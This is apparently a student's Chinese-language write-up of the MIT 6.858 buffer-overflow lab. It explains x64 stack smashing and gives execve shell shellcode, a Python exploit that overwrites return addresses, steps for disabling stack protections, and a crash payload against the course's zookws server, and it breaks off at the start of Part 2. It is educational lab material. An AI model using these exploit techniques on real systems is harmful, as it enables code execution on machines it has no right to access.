MIT 6.858 Computer Systems Security - Lab 1

Lab 1: Buffer overflows


0x00. Introduction

MIT 6.858 是面向高年级本科生与研究生开设的一门关于计算机系统安全 (secure computer security) 的课程,内容包括 threat models、attacks that compromise security、techniques for achieving security。

这个课程一共有五个 Lab:

  • Lab1:缓冲区溢出 (buffer overflow)
  • Lab2:权限分离与服务侧沙箱 (privilege separation and server-side sandboxing)
  • Lab3:符号执行 (symbolic execution)
  • Lab4:浏览器安全 (browser security)
  • Lab5:安全的文件系统 (secure file system)

前四个 Lab 主要是基于 MIT 开发的一个叫 zookws 的 web server 完成的

0x01. Environment Setup

详见 Lab1

MIT 提供了一个 course VM image,其中有着一个 Ubuntu 22.04 的系统,登录的用户名为 student,密码为 student,下载解压后根据自身的本地环境进行对应的操作。

我是用的是 VMware 运行:新建虚拟机 → 稍后安装操作系统 → 选择系统 Linux > Debian 9.x 64-bit → 选择现有的虚拟磁盘→选择 6.858-x86_64-v24.vmdk 即可。

由于系统没有图形界面,故建议使用 ssh 连接虚拟机来做实验。可以使用 ip addr show dev eth0 来查看虚拟机的 IP 地址。

实验文件通过 Git 版本控制系统分发。课程 Git 仓库地址:https://github.com/mit-pdos/6.566-lab-2024

1
2
3
# 克隆实验代码
git clone https://github.com/mit-pdos/6.566-lab-2024 lab
cd lab

注意:必须将代码克隆到 lab 目录中,因为路径名的长度在本实验中很重要。

确保可以成功编译 zookws web 服务器:

1
make

编译后会生成以下关键文件:

  • zookd-exstack:具有可执行栈的版本,便于注入可执行代码
  • zookd-nxstack:具有不可执行栈的版本,需要更复杂的攻击方式
  • zookd-withssp:启用栈保护的版本

为了以可预测的方式运行 web 服务器(确保每次运行时栈和内存布局相同),需要使用 clean-env.sh 脚本:

1
2
# 在端口 8080 上启动服务器
./clean-env.sh ./zookd 8080

在浏览器中访问:http://IPADDRESS:8080/

其中 IPADDRESS 是虚拟机的 IP 地址(通过 ip addr show dev eth0 查看)。

  • zookd:接收 HTTP 请求的组件,用 C 语言编写,提供静态文件服务并执行动态脚本
  • HTTP 相关代码:位于 http.c 文件中
  • 动态脚本:用 Python 编写(本实验不需要理解,漏洞只存在于 C 代码中)
  • 参考二进制文件:提供在 bin.tar.gz 中,用于评分
  • 测试命令make check-lab1 将使用 clean-env.shbin.tar.gz 检查提交

行尾序列问题

所有文件都是 \r\n (CRLF) 行尾序列,在 Linux 环境下导致脚本执行失败

使用dos2unix命令或文本编辑器将所有文件转换为 \n (LF) 行尾序列

静态文件权限问题

zookd 服务器将 css, html, ico 等静态文件当成可执行程序运行

使用chmod -x *.css *.html *.ico将静态文件权限修改为不可执行

0x02. Part 1: Finding buffer overflows

In the first part of this lab assignment, you will find buffer overflows in the provided web server.

I. What is a stack overflow attack?

虽然 Aleph One 在 1996 年发表的经典文章《Smashing the Stack for Fun and Profit》长期以来一直是学习缓冲区溢出攻击的首选资料,但自那时起世界已经发生了很大变化。原始的攻击方法通常在现代 64 位机器上不再有效。这部分原因是现在默认启用了许多新的防御机制,但即使禁用这些防御机制,64 位执行环境本身也带来了新的挑战。

The Stack Region

在讨论 64 位环境中的具体变化之前,让我们先回顾一下什么是(栈)缓冲区溢出攻击。

考虑一个简单的 C 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <string.h>
#include <stdio.h>

void copy(char *str) {
char buffer[16];
strcpy(buffer, str);
printf("%s\n", buffer);
}

int main (int argc, char **argv) {
copy(argv[1]);
return 0;
}

当程序运行时,它会将内存的一部分保留作为栈。程序使用栈来跟踪其运行状态,例如局部变量的值,函数返回地址以及其他状态信息。

栈从高内存地址开始,新项目被压入栈的较低内存地址,每个函数调用都会获得自己的栈帧。

copy 函数被调用时,栈的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
                   .-------0x00-------.
: :
: .... :
|------------------|
"top" of stack | | "bottom" of memory
| copy's frame | (low addresses)
| |
|------------------|
| |
"bottom" of stack | main's frame | "top" of memory
| | (high addresses)
`------------------`

后压入栈的内容位于栈的”更高”位置,但在”更低”的内存地址

栈帧至少包含两个关键部分:

  1. 函数局部变量所需的内存(如 copy 中的 buffer
  2. 函数应该返回的地址

这种栈结构是理解缓冲区溢出攻击的基础,攻击者可以通过溢出局部变量来覆盖关键的栈数据,如返回地址。

The Calling Convention

为了更详细地理解栈的工作原理,我们需要深入研究一些汇编代码(使用 AT&T 语法)。具体来说,让我们看看在 x64(Intel 和 AMD 的 64 位 CPU 使用的 64 位架构)上,当 main 调用 copy 时会发生什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# 这是我们 C 代码的汇编版本,稍作修改以便于理解
# 可以在 godbolt 查看:https://godbolt.org/z/J3oWfn
# 也可以本地生成:
# $ gcc -o simple.S -S -fno-stack-protector simple.c
# $ cat simple.S

main:
# ... main() 的各种设置 ...
# 此时,argv 在 %rax 中
# 要调用 copy,我们将第一个参数放在 %rdi 寄存器中
movq %rax, %rdi

# 然后调用 copy。call 指令将 "rip"(指向当前指令的指针)
# 压入栈中,然后跳转到 copy 的地址
call copy(char*)

# 这是 copy 发出 ret 指令时返回的位置
# 之后,main 只是返回,程序退出
leave
ret

copy(char*):
# 这被称为"函数序言",出现在几乎每个函数的开头
# x64 并不要求这样做,但大多数编译器为大多数函数都会生成这样的代码

# 首先,记住调用者栈帧的起始位置
pushq %rbp

# 然后设置我们的栈帧从这里开始
movq %rsp, %rbp

# 然后在栈上为局部变量分配空间
# 这种情况下,为 str 指针分配 8 字节,为 buffer 分配 16 字节
# 然后编译器向上舍入到 32 字节以保持 16 字节栈对齐
subq $32, %rsp

# 此时,我们的栈帧看起来像这样:
# (每行 8 字节宽)
#
# .-------0x00-------.
# : :
# | | <- %rsp
# | padding |
# | str |
# | buffer[ 0-7 ] |
# | buffer[ 8-15 ] | <- %rbp
# | [ main's %rbp ] |
# | [return address] |
# |------------------|
# : main's frame :
# `------------------`
#
1
2
3
4
5
6
7
从另一个角度显示栈帧结构:
内存底部 内存顶部

str buffer sbp ret
<-- [ ][ 0 15 ][ ][ ] main...

栈顶 栈底

The Function argument pass

x64 调用约定规定函数的第一个参数存放在 %rdi 寄存器中。因此:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 将 str 指针的值存储到局部变量 str 的内存中
movq %rdi, -24(%rbp)

# 准备调用 strcpy
# 它需要两个参数:目标和源,分别放在 %rdi 和 %rsi 中

# 首先,将 buffer[0] 的地址(%rbp 前面 16 字节)放入 %rdi
# leaq 类似 movq,但复制参数的地址而不是内容
leaq -16(%rbp), %rdi

# 然后,将 str 的值放入 %rsi
movq -24(%rbp), %rsi

# 调用 strcpy
call strcpy

# strcpy 返回后,准备打印字符串
# 再次将 buffer[0] 的地址放入 %rdi 作为第一个参数
leaq -16(%rbp), %rdi
call puts

# 最后,准备返回
# 使用 leave 恢复 main 的 %rsp 和 %rbp 值
leave

# 使用 ret 返回 main
# ret 从栈中弹出返回地址并跳转到该地址
ret

与经典的《Smashing the Stack for Fun and Profit》文章相比,有一个重要区别:函数参数不再通过栈传递,而是通过寄存器传递。这是现代 64 位架构的一个重要特点,会影响我们构造缓冲区溢出攻击的方式。

Buffer Overflows

有了前面的背景知识,我们可以很容易理解栈上缓冲区溢出的攻击路径。具体来说,考虑一下如果我们向 buffer 写入超过 16 字节的数据会发生什么。

溢出的根本原因:

1
2
3
4
5
void copy(char *str) {
char buffer[16]; // 只分配了 16 字节空间
strcpy(buffer, str); // 但 strcpy 不检查长度!
printf("%s\n", buffer);
}

strcpy 函数的特点:

  • 持续复制字节直到遇到值为 0x00 的字节(空终止符)
  • 不检查目标缓冲区大小
  • 不验证用户输入 argv[1] 是否短于 16 字节

buffer 被溢出时,我们称之为缓冲区溢出。溢出的后果完全取决于缓冲区后面的内存中存储的是什么。

让我们重新审视水平栈图:

1
2
3
4
5
6
7
内存底部                                                 内存顶部
memory memory

str buffer sbp ret
<-- [ ][ 0 15 ][ ][ ] main...

栈顶 栈底

第一阶段:覆盖 saved %rbp

  • 当输入超过 16 字节时,首先覆盖保存的 %rbp
  • 这个值来自 main 函数,覆盖它通常不会立即造成问题

第二阶段:覆盖返回地址

  • 继续溢出会覆盖返回地址
  • 这是 copy 函数执行 ret 指令时要跳转的地址
  • 这是攻击的关键目标

场景1:覆盖为垃圾数据

1
2
# 输入包含大量 'A' 字符
./program AAAAAAAAAAAAAAAAAAAAAAAAAAAA
  • 返回地址被覆盖为 0x4141414141414141(’A’ 的 ASCII 码)
  • 程序尝试跳转到这个无效地址
  • 结果:程序崩溃(通常是段错误)

场景2:精心构造的攻击

1
输入: [16字节填充] + [8字节覆盖rbp] + [8字节恶意地址]
  • 将返回地址覆盖为有效的代码地址
  • 指向攻击者想要执行的代码
  • 结果:代码执行控制权被劫持

攻击者可能希望跳转到:Shell代码, 恶意函数, 系统调用!

1
2
3
4
5
6
7
8
9
正常情况:
buffer: [用户输入....] -> 正常返回到main

溢出攻击:
buffer: [AAAAAAAAAAAAAAAA][BBBBBBBB][0x12345678]
^16字节填充 ^覆盖rbp ^恶意返回地址
|
v
攻击者的代码

Shell Code

最基本且最容易理解的栈溢出攻击涉及将我们自己的代码注入到程序的内存中,然后用该内存的地址覆盖返回地址,这样当函数返回时就会执行我们的代码。

攻击示意图:

1
2
3
4
5
6
7
内存底部                                                 内存顶部
memory memory

str buffer sbp ret
<-- [ ][ 0 15 ][ ][ ] main...
^ |
|------------------------------|

攻击步骤:

  1. 用恶意代码填充缓冲区:将我们想要执行的代码放入 buffer
  2. 覆盖返回地址:将返回地址覆盖为 buffer 的地址
  3. 执行攻击代码:当函数返回时,跳转到我们的代码

这种代码通常被称为 shell code,因为我们通常想要启动一个 shell,然后可以用它来发出进一步的命令。具体来说,我们放在缓冲区中的是 CPU 知道如何运行的编译汇编代码。

虽然基本概念与经典的《Smashing the Stack for Fun and Profit》中描述的相同,但我们需要对 64 位程序进行一些调整:

1. 系统调用约定变化

根据 man 2 syscall 的输出,64 位系统调用约定与 32 位有所不同:

1
2
3
4
5
# 32位系统调用
int 0x80 # 使用中断

# 64位系统调用
syscall # 使用 syscall 指令

参数传递方式:

  • 64位:参数通过 %rdi, %rsi, %rdx 等寄存器传递(与普通函数相同)
  • 32位:参数通过栈传递

2. 寄存器使用调整

由于不同的寄存器用于参数传递,需要调整临时寄存器的使用:

  • 避免覆盖后续需要用作参数的寄存器值
  • 例如:避免使用 %esi 作为临时寄存器,因为 %rsi 是第二个参数寄存器

3. 系统调用号更新

64位 Linux 中的系统调用号与 32 位不同:

1
2
3
# 示例:使用新的系统调用号
movb $SYS_unlink,%al # unlink 系统调用
movb $SYS_exit,%al # exit 系统调用

优势:execveexit 的代码都不包含零字节,可以直接使用。

Shell Code 设计要点:

  1. 避免空字节:shell code 不能包含 \0,否则会被 strcpy 截断
  2. 位置无关代码:代码应该能在任何内存位置运行
  3. 紧凑性:代码应该尽可能短小,适应有限的缓冲区空间
  4. 功能性:通常执行 execve("/bin/sh", ...) 来获取 shell 访问权限

完整的 64 位 execve shell code 示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <sys/syscall.h>

#define STRING "/bin/sh"
#define STRLEN 7
#define ARGV (STRLEN+1)
#define ENVP (ARGV+8)

.globl main
.type main, @function

main:
jmp calladdr

popladdr:
popq %rcx
movq %rcx,(ARGV)(%rcx) /* set up argv pointer to pathname */
xorq %rax,%rax /* get a 64-bit zero value */
movb %al,(STRLEN)(%rcx) /* null-terminate our string */
movq %rax,(ENVP)(%rcx) /* set up null envp */

movb $SYS_execve,%al /* syscall arg 1: syscall number */
movq %rcx,%rdi /* syscall arg 2: string pathname */
leaq ARGV(%rcx),%rsi /* syscall arg 2: argv */
leaq ENVP(%rcx),%rdx /* syscall arg 3: envp */
syscall /* invoke syscall */

movb $SYS_exit,%al /* syscall arg 1: SYS_exit (60) */
xorq %rdi,%rdi /* syscall arg 2: 0 */
syscall /* invoke syscall */

calladdr:
call popladdr
.ascii STRING

从本质上,合法的 ret 指令会返回到 .text 段中继续执行指令。不合法的 ret 指令会返回到理应不可执行的 stack 中执行指令。所以传统栈溢出攻击有一个前提: OS 认为栈是可以执行的,或者说不会刻意检查。

Writing an Exploit

有了前面的背景知识,我们现在准备对一个真实程序执行第一次攻击。我们将让 C 程序稍微复杂一些,使攻击不那么明显。具体来说,程序现在(据说)打印它收到的每个输入的前 128 个字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <string.h>
#include <stdio.h>
#include <unistd.h>

void first128(char *str) {
char buffer[128];
strcpy(buffer, str);
printf("%s\n", buffer);
}

int main(int argc, char **argv) {
static char input[1024];
while (read(STDIN_FILENO, input, 1024) > 0) {
first128(input);
}
return 0;
}

然后编译(关于为什么要这样做,参见 TODO 部分):

1
$ gcc -g -fno-stack-protector -z execstack vulnerable.c -o vulnerable -D_FORTIFY_SOURCE=0

编译选项说明:

  • -g:包含调试信息
  • -fno-stack-protector:禁用栈保护
  • -z execstack:使栈可执行
  • -D_FORTIFY_SOURCE=0:禁用缓冲区溢出检查

现在我们需要构造正确的输入来溢出 buffer。特别是,我们需要知道:

  1. 将返回地址设置为什么值
  2. 在开始写入返回地址之前需要写入多少字节

使用 GDB 进行动态分析

为了找到这些信息,我们将使用 GDB,这是一个在低级别调试程序的便利工具。

首先,启动我们的脆弱程序:

1
$ env - setarch -R ./vulnerable

参数说明:

  • env - 使用干净的环境变量,环境变量存储在栈的高地址趋于,会影响栈的布局。
  • setarch -R 禁用地址空间随机化,现代 Linux 系统中默认开启 ASLR,每次栈的基址会发生变化。

在另一个终端中,启动 GDB:

1
$ gdb -p $(pgrep vulnerable)

这将找到名为 vulnerable 的程序的进程 ID,并将调试器附加到它。

GDB 调试步骤:

  1. 设置断点并继续执行:

    1
    2
    3
    4
    (gdb) b first128
    Breakpoint 1 at 0x55555555516b: file x.c, line 7.
    (gdb) c
    Continuing.
  2. 输入测试数据触发断点:
    当输入一些数据到等待的 vulnerable 程序并按回车时:

    1
    2
    Breakpoint 1, first128 (str=0x555555558060 <input> "x\n") at x.c:7
    7 strcpy(buffer, str);
  3. 获取 buffer 地址:

    1
    2
    (gdb) print &buffer[0]
    $1 = 0x7fffffffec90 ""
  4. 获取返回地址的存储位置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    (gdb) info frame
    Stack level 0, frame at 0x7fffffffed20:
    rip = 0x55555555519f in first128 (vulnerable.c:7);
    saved rip = 0x5555555551e8
    called by frame at 0x7fffffffed40
    source language c.
    Arglist at 0x7fffffffed10, args:
    str=0x555555558040 <input> "dmx\n"
    Locals at 0x7fffffffed10, Previous frame's sp is 0x7fffffffed20
    Saved registers:
    rbp at 0x7fffffffed10, rip at 0x7fffffffed18

注意 rip at 0x7fffffffed18,这就是存储的返回地址的地址!

编写攻击利用脚本

现在我们有了编写攻击字符串所需的一切。手动编写会有点痛苦,所以让我们写一个小的 Python 程序来帮助:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import os, sys, struct

addr_buffer = 0x7fffffffec90
addr_retaddr = 0x7fffffffed18

# 我们希望 buffer 首先保存 shellcode
shellfile = open("shellcode.bin", "rb")
shellcode = shellfile.read()

# 然后我们想要填充到返回地址
shellcode += b"A" * ((addr_retaddr - addr_buffer) - len(shellcode))

# 然后我们写入 shellcode 的地址
# struct.pack("<Q") 以小端格式写出 64 位整数
shellcode += struct.pack("<Q", addr_buffer)

# 将 shell code 写出到等待的 vulnerable 程序
fp = os.fdopen(sys.stdout.fileno(), 'wb')
fp.write(shellcode)
fp.flush()

# 将用户输入转发到底层程序
while True:
try:
data = sys.stdin.buffer.read1(1024)
if not data:
break
fp.write(data)
fp.flush()
except KeyboardInterrupt:
break

攻击载荷构造分析:

1
2
payload = [shellcode] + [padding] + [buffer_address]
^从 buffer 开始 ^填充到返回地址位置 ^覆盖返回地址指向 buffer
  1. shellcode 部分:二进制形式的恶意代码
  2. 填充部分:用 ‘A’ 填充,直到到达返回地址存储位置
  3. 地址覆盖:将返回地址覆盖为 buffer 的地址

执行攻击:

1
$ ./exploit.py | env - setarch -R ./vulnerable

执行后看起来很空,但这是正常的!尝试输入 ls… 如果成功,你应该能看到 shell 提示符!

🔒 正常栈布局
高地址 main's frame
0x7fffffffed18 return address 8字节
0x7fffffffed10 saved %rbp 8字节
0x7fffffffec90 buffer[128] 128字节
低地址 padding
💀 攻击后栈布局
高地址 main's frame
0x7fffffffed18 0x7fffffffec90 被覆盖!
0x7fffffffed10 AAAAAAAA 被覆盖
0x7fffffffec90 shellcode + 填充 128字节
低地址 padding

64-bit Considerations

32 位和 64 位模式下缓冲区溢出攻击有两个主要差异,需要特别注意,否则会导致攻击失败。

Zeroes in addresses

大多数 64 位地址在其最高有效字节中都包含 0x00,这意味着我们通常不能直接写入它们;像 strcpystrcat 这样的常见函数将 \0 视为字符串的结尾,因此会在遇到零字节时停止写入。

好消息是,在小端序系统中,最高有效字节排在最后(即在较高的内存地址),所以通常这不会成为问题。终止的 \0 也会被复制,这可能就是我们需要的全部。在某些幸运情况下,我们试图覆盖的位置已经有所需数量的 0x00,因此提前停止是可以接受的(只要应用程序本身不添加额外内容)。

如果需要在地址后写入更多内容,或者地址恰好是一个低地址,其中多个前导字节为 0x00,而被覆盖位置之前没有这些零字节,那么就需要寻找其他方法。

这在 32 位系统上不是一个大问题。虽然地址可能意外包含 0x00,但相对较少发生。在 64 位系统上,几乎每个地址都会出现这种情况!

Arguments in Registers

在 32 位系统(特别是 i386)上,函数的调用约定相对自由。最常见的是 cdecl,其中函数参数通过栈传递。具体来说,参数在 call 指令之前按从右到左的顺序压入栈。

这有一个非常巧妙的副作用,你可以通过改变栈上的内容来操纵函数的参数。例如,绕过 W^X(参见禁用现代防御)的一个巧妙方法是进行 “return to libc” 攻击。你不用 shellcode 的地址覆盖返回指针,而是在那里放置来自 libc 的 execve 地址。然后你会操纵栈上的各种值,这样当前函数返回到 execve 并查看栈获取参数时,它会看到像 /bin/sh 这样的参数。

“遗憾的是”,在 x64 中,调用约定发生了相当大的变化。在 x64 中,使用 System V AMD64 ABI,其中参数主要通过寄存器传递(这是一个很好的视觉解释)。这破坏了传统的 return-to-libc 攻击,因为你不能再通过操纵栈来改变 libc 函数看到的参数(这是缓冲区溢出所能做的全部)。有一些方法可以绕过这个问题,例如使用 “借用代码块” 技术,以及返回导向编程的一般概念,但这些攻击要难得多。

Finding Buffer Overflows

如前所述,缓冲区溢出是由于在缓冲区中填充超过其预期容量的信息造成的。由于 C 语言没有任何内置的边界检查,溢出通常表现为写入超过字符数组末尾的位置。标准 C 库提供了许多用于复制或追加字符串的函数,这些函数不执行边界检查。它们包括:strcat()strcpy()sprintf()vsprintf()。这些函数操作以空字符结尾的字符串,并且不检查接收字符串的溢出。gets() 是一个从 stdin 读取一行到缓冲区的函数,直到遇到终止换行符或 EOF。它不执行缓冲区溢出检查。如果你要匹配非空白字符序列(%s),或匹配来自指定集合的非空字符序列(%[]),而 char 指针指向的数组不够大,无法接受整个字符序列,并且你没有定义可选的最大字段宽度,那么 scanf() 系列函数也可能成为问题。如果这些函数中任何一个的目标是静态大小的缓冲区,而其他参数以某种方式源自用户输入,那么你很可能能够利用缓冲区溢出。

我们发现的另一个常见编程结构是使用 while 循环从 stdin 或某个文件一次读取一个字符到缓冲区,直到到达行尾、文件尾或其他分隔符。这种类型的结构通常使用以下函数之一:getc()fgetc()getchar()。如果在 while 循环中没有明确的溢出检查,此类程序很容易被利用。

总而言之,grep(1) 是你的朋友。免费操作系统及其实用程序的源代码是现成可用的。一旦你意识到许多商业操作系统实用程序都源自与免费操作系统相同的源代码,这个事实就变得相当有趣。使用源代码,伙计。

使用 grep 查找潜在漏洞:

1
2
3
4
5
6
7
8
# 在源代码中搜索危险函数
grep -n "strcpy\|strcat\|sprintf\|gets\|scanf" *.c

# 搜索可能的缓冲区操作
grep -n "while.*getc\|while.*fgetc\|while.*getchar" *.c

# 查找固定大小的缓冲区声明
grep -n "char.*\[.*\]" *.c

这种源代码审计方法在发现真实软件中的安全漏洞方面非常有效,特别是在开源软件中,因为源代码的可用性使得安全研究人员能够进行深入的代码分析。

Disabling Modern Defenses

当试图在现代机器上进行缓冲区溢出攻击时,你需要处理几种防护措施:

Stack Canaries:编译器在二进制文件中注入代码片段,在函数的局部变量和下一个栈帧之间(至关重要的是,在返回地址之前)放置一个特殊值。就在函数返回之前,它检查 Stack Canaries 是否仍然具有正确的值,只有这样才会发出 ret 指令。这挫败了上述攻击,因为在我们试图到达返回地址的过程中,总是会用垃圾数据覆盖 Stack Canaries! 要在 gcc 中禁用 Stack Canaries ,传递 -fno-stack-protector 参数。

ASLR:这种机制被称为 ASLR,大致意味着内核会在程序启动时随机化程序在内存中的位置。这通常包括构成程序代码的指令、栈、堆,以及任何动态链接库的位置。启用此功能后,你不能再(轻易地)找出所需的任何地址,因此不知道用什么来覆盖返回地址!你可以通过 setarch -R 调用程序来告诉内核为给定程序禁用 ASLR。较旧版本的 setarch 还要求你将 "$(uname -m)" 作为第一个参数传递。注意这些解决方案是不够的:

  • 仅使用 -no-pie 是不够的,因为动态链接库仍然是随机化的(如果你关心 return-to-libc)
  • 仅使用 -static 是不够的,因为程序本身的地址仍然是随机化的
  • 即使两者都用,你的栈和堆位置仍然是随机化的

W^X:这是一个相当简单的防护机制,其中进程中的所有内存要么是可写的(如栈),要么是可执行的(如程序代码)。当启用此功能时(默认情况下是启用的),上面讨论的栈溢出将不起作用,因为你的 shell code(然后位于栈上)没有标记为可执行。当你试图返回到它时,CPU 会简单地拒绝继续。你可以使用 execstack 禁用此功能,或者在 gcc 中通过 -z execstack 链接你的程序。

Fortified Source:默认情况下,gcc 启用源码强化,当 gcc 能够确定所需边界时,它会用安全检查包装已知有问题的函数,如 strcpystrcat。当这些检查到位时,试图溢出缓冲区的尝试可能会以如下方式终止你的程序:

1
*** buffer overflow detected ***: ./vulnerable terminated

要解决这个问题,只需传递 -D_FORTIFY_SOURCE=0

关闭这些防护可能看起来像作弊,在某种意义上确实如此,但在试图教授栈粉碎背后的基本思想时是有帮助的。事实上,通常可以用更高级的攻击绕过这些防护,尽管那些远远超出了本文档的范围。

完整的编译命令示例:

1
2
3
4
5
6
# 禁用所有现代防护的编译命令
gcc -g -fno-stack-protector -z execstack -no-pie -static \
-D_FORTIFY_SOURCE=0 vulnerable.c -o vulnerable

# 运行时禁用 ASLR
env - setarch -R ./vulnerable

这些防护机制的存在说明了现代系统安全的演进,但理解如何绕过它们对于学习底层攻击原理仍然很重要。在实际的安全研究和渗透测试中,攻击者会使用更复杂的技术来绕过这些防护。

II. Read the source Code

zookd.c

  1. 启动监听
  • zookd 首先通过 start_server 创建监听 socket,绑定端口,准备接受客户端连接。
  1. 等待客户端连接
  • run_server 中,循环调用 accept 等待客户端的连接。
  1. 多进程处理请求
  • 每当有新连接到来,fork 一个子进程,专门处理该客户端请求。
  • 子进程调用 process_client,处理 HTTP 请求和响应。
  • 父进程关闭自己的 fd,继续等待下一个连接。
  1. HTTP 请求处理
  • http_request_line 处理 HTTP 请求报文的第一行,并设置环境变量。
  • env_deseialize 设置环境变量,一开始环境变量都存放在 char[] 中,此函数提取其信息并实际设置环境变量。
  • http_request_headers 处理 HTTP 请求报文其他头部信息,并设置环境变量。
  • http_serve 正式处理进行 HTTP 服务。

http.c

http_request_line

  1. 调用 http_read_line 函数读取 HTTP 请求行(如 GET /foo.html HTTP/1.0),将其解析并保存
  2. 设置环境变量
  3. 如果路径包含 ?,分离出查询字符串。
  4. 调用 url_decode 函数对路径进行 URL 解码

假设客户端发送如下 HTTP 请求行:GET /cgi-bin/hello.py?user=alice HTTP/1.1

逐步解析并设置环境变量:

  1. REQUEST_METHOD=GET
  2. SERVER_PROTOCOL=HTTP/1.1
  3. QUERY_STRING=user=alice
  4. REQUEST_URI=/cgi-bin/hello.py
  5. SERVER_NAME=zoobar.org

http_request_headers

  1. 每次调用 http_read_line,循环读取每一行头部。
  2. 调用 http_parse_line 解析头部行。
  3. 把解析出来的头部信息存入进程环境变量。

假设客户端发送如下 HTTP 请求头部:
Host: localhost:8080
User-Agent: Mozilla/5.0
Accept: text/html
Cookie: session=dmx

逐行解析并设置环境变量:

  1. HTTP_HOST=localhost:8080
  2. HTTP_USER_AGENT=Mozilla/5.0
  3. HTTP_ACCEPT=text/html
  4. HTTP_COOKIE=session=dmx

http_serve

根据客户端请求的路径,判断请求的资源类型,并调用相应的处理函数返回内容。

  1. getcwd 获取当前工作目录并设置环境变量。
  2. 拼接请求路径。
  3. 调用 split_path,设置 CGI 相关环境变量。
  4. 判断资源类型
  • 如果是可执行文件(CGI 脚本),调用 http_serve_executable
  • 如果是目录,调用 http_serve_directory
  • 如果是普通文件,调用 http_serve_file
  • 如果都不是,调用 http_serve_none 返回 404

III. Find potential stack overflow vulnerabilities

首先可能出现栈溢出的前提是定义了局部变量 char[*],通过命令 grep -n "char.*\[.*\]" http.c 查找。

同时还需要伴随着不检查长度的库函数,通过命令 grep -n "strcpy\|strcat\|sprintf\|gets\|scanf" http.c 查找。

对比对比分析,可以锁定两个嫌疑人:

  1. http_request_headers 中的局部变量 char value[512]
  2. http_request_headers 中的局部变量 char envvar[512]

如果头部名(去掉冒号)长度超过 507(512 - len(“HTTP_”)) 字节,会溢出 envvar。

如果头部值(空格后内容)解码后长度超过 512 字节,会溢出 value。

但是 ! 溢出不代表程序会崩溃,溢出一定会导致 undefined behavior,只有当溢出的内容覆盖到 saved %rsp/%rip 时,才会导致程序崩溃 !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const char *http_request_headers(int fd)
{
static char buf[8192]; /* static variables are not on the stack */
const char *r;

// ----------------------------------
// ! buf 最长为 8192 字节
// ! envvar 和 value 最长为 512 字节
// ! 可能会发生栈溢出
// ----------------------------------
char value[512];
char envvar[512];

/* For lab 2: don't remove this line. */
touch("http_request_headers");

/* Now parse HTTP headers */
for (;;)
{
if (http_read_line(fd, buf, sizeof(buf)) < 0)
return "Socket IO error";

if (buf[0] == '\0') /* end of headers */
break;

r = http_parse_line(buf, envvar, value);
if (r != NULL)
return r;

setenv(envvar, value, 1);
}

return 0;
}

IV. Crash the web server!

First. Figure out the stack layout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 在后台启动服务器
./clean-env.sh ./zookd-exstack 8080 &

# 用 pgrep 查找 zookd 进程号,最小的进程号是父进程
pgrep zookd-

# 用 gdb 附加到父进程
gdb -p 78032

# 设置 gdb 跟踪 fork 出来的子进程
(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off

# 设置断点
(gdb) b http_request_headers

# 让 gdb 继续执行
(gdb) c

# 发起恶意 HTTP 请求(在另一个终端)
python3 exploit-template.py localhost 8080

# 查看栈帧
(gdb) info frame

# 查看栈上变量地址
(gdb) p &r
(gdb) p &value
(gdb) p &envvar

# (可选)查看静态变量地址
(gdb) p &buf

栈的布局如下图所示:

Second. Construct an invalid HTTP request

由上图可知,想要实施栈溢出攻击并使 web 服务进程崩溃,可以有如下两种方法:

  1. 头部名长度超过 512 + 512 + 8 + 8 - 5(“HTTP_”) 字节
  2. 头部值长度超过 512 + 8 + 8 字节

由此完善实验提供的 exploit-template.py 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def build_exploit(shellcode: bytes) -> bytes:
## Things that you might find useful in constructing your exploit:
##
## urllib.parse.quote_from_bytes(s).encode('ascii')
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x

# 确保程序一定会崩溃,设置一个增量
n = 100

# 构造一个超长的头部名
header_name = b"A" * (512 + 512 + 16 - 5 + n)

# 构造一个超长的头部值
header_value = b"A" * (512 + 16 + n)

req_value = b"GET / HTTP/1.0\r\n" + \
b"Cookie: " + header_value + b"\r\n\r\n"

req_env = b"GET / HTTP/1.0\r\n" + \
header_name + b": " + b"value\r\n\r\n"

return req_value

根据实验手册的指引,运行 make check-crash,通过测试(评测的原理是检查 /tmp/strace.log 当中是否有 SIGSEGV 字符串)。

1
2
3
4
5
./check-bin.sh
tar xf bin.tar.gz
./check-unlink.sh
for f in ./exploit-2*.py; do ./check-crash.sh zookd-exstack $f; done
PASS ./exploit-2.py

0x03 Part 2: Code injection

In this part, you will use your buffer overflow exploits to inject code into the web server. The goal of the injected code will be to unlink (remove) a sensitive file on the server, namely /home/student/grades.txt.

I. Build a ShellCode

首先需要编写一个 shellcode,使其能够删除敏感文件 /home/student/grades.txt

创建 shellcode 的汇编形式 shellcode.S,使其使其能够删除 /home/student/grades.txt 文件。汇编代码可以直接调用 SYS_unlink 系统调用,也可以调用 unlink() 库函数。

实验包提供了如下方式来验证 shellcode 的功能:

1
2
3
4
5
6
student@6566-v24:~/lab$ make
student@6566-v24:~/lab$ touch ~/grades.txt
student@6566-v24:~/lab$ ./run-shellcode shellcode.bin
# 确认 /home/student/grades.txt 已被删除
student@6566-v24:~/lab$ ls ~/grades.txt
ls: cannot access /home/student/grades.txt: No such file or directory

在调试 shellcode 时, strace 可能很有用。用法类似于 gdb,可以附加到正在运行的程序:

student@6566-v24:~/lab$ strace -f -p $(pgrep zookd-)

